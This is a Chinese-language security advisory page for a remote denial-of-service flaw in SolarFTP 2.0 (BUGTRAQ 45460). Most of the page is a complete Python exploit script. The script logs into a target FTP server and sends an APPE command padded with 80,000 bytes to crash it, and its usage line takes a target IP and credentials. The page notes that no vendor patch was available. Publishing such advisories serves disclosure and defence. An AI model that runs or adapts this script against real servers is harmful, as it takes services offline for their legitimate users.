发布日期：2010-12-16
更新日期：2010-12-20

受影响系统：

SolarFTP SolarFTP 2.0

描述：

---

BUGTRAQ  ID: 45460

SolarFTP是易于使用的个人FTP服务器。

SolarFTP中存在多个远程拒绝服务安全漏洞，攻击者可利用这些漏洞拒绝服务合法用户，造成受影响的应用程序崩溃。

此漏洞源于攻击者向服务器提交了特制的FTP命令。

<*来源：modpr0be
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/python

# Exploit Title: SolarFTP 2.0 Multiple Commands Denial of Service Vulnerability
# Date: 12/17/2010
# Author: modpr0be
# Software Link: http://www.solarftp.com/files/solarftps-setup.exe
# Vulnerable version: 2.0
# Tested on: Windows XP SP2, Windows XP SP3
# CVE : N/A
#
# ======================================================================
#        ___       _ __        __            __    _     __
#   ____/ (_)___ _(_) /_____ _/ / ___  _____/ /_  (_)___/ /___  ____ _
#  / __  / / __ `/ / __/ __ `/ / / _ \/ ___/ __ \/ / __  / __ \/ __ `/
# / /_/ / / /_/ / / /_/ /_/ / / /  __/ /__/ / / / / /_/ / / / / /_/ /
# \__,_/_/\__, /_/\__/\__,_/_/  \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/
#        /____/                          http://www.digital-echidna.org
# ======================================================================
#
# Greetz:
#     say hello to all digital-echidna org crew:
#         otoy, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
#    special thx to amalia (^^), oebaj, offsec, exploit-db, corelan team
#
#### Software description:
# Solar FTP Server is a handy and easy to use personal FTP server with
# features like virtual directories, simple and intuitive user interface,
# real-time activity monitoring and management.
#
#### Exploit information:
# SolarFTP 2.0 will suddenly stop (crash) while these commands were sent:
# APPE, GET, PUT, NLST, and MDTM
# Sending USER with junk also crashing the Admin Configuration but not the service.
# Stack contains our junk in random. Both EIP and SEH were not overwritten.
#
#### Other information:
# 12/10/2010 - vendor contacted
# 12/17/2010 - no response, advisory released

import socket, sys
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

junk = "\x41" * 80000

def banner():
    print "\nSolarFTP 2.0 Multiple Commands Denial of Service Vulnerability."
    print "By: modpr0be (modpr0be[at]digital-echidna[dot]org)\n"

    
if len(sys.argv)!=4:
        banner()
        print "Usage: %s <ip> <user> <pass>\n" %sys.argv[0]
        sys.exit(0)

try:
    s.connect((sys.argv[1], 21))
except:
    print "Can\'t connect to server!\n"
    sys.exit(0)
    
s.recv(1024)
s.send('USER '+sys.argv[2]+'\r\n')
s.recv(1024)
s.send('PASS '+sys.argv[3]+'\r\n')
s.recv(1024)
s.send('APPE '+junk+'\r\n')
s.recv(1024)
s.close()

建议：

---

厂商补丁：

SolarFTP
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.solarftp.com/

浏览次数：2169
严重程度：0（网友投票）